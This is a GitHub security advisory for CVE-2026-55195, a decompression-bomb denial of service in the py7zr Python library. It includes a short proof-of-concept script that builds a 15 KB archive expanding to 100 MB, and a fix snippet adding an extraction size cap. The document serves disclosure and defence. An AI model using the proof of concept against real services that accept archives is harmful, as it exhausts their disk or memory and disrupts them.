GitHub Advisoryadvisory · PyPI
GHSA-gjrg-mpp7-g774 py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
MEDIUM
Official page ↗
- Aliases
- CVE-2026-55195
- Ecosystem
- PyPI
- Packages
- py7zr
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-409
- Reviewed
- 2026-06-19
Affected packages
• PyPI py7zr: < 1.1.3 → fixed in 1.1.3
Description
py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
```python
import py7zr, tempfile, os
create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
```
Root cause: `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
```python
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
```
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Related
Alias · CVE (1)
- CVE-2026-55195 py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. vulnerability
Weakness · CWE (1)
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness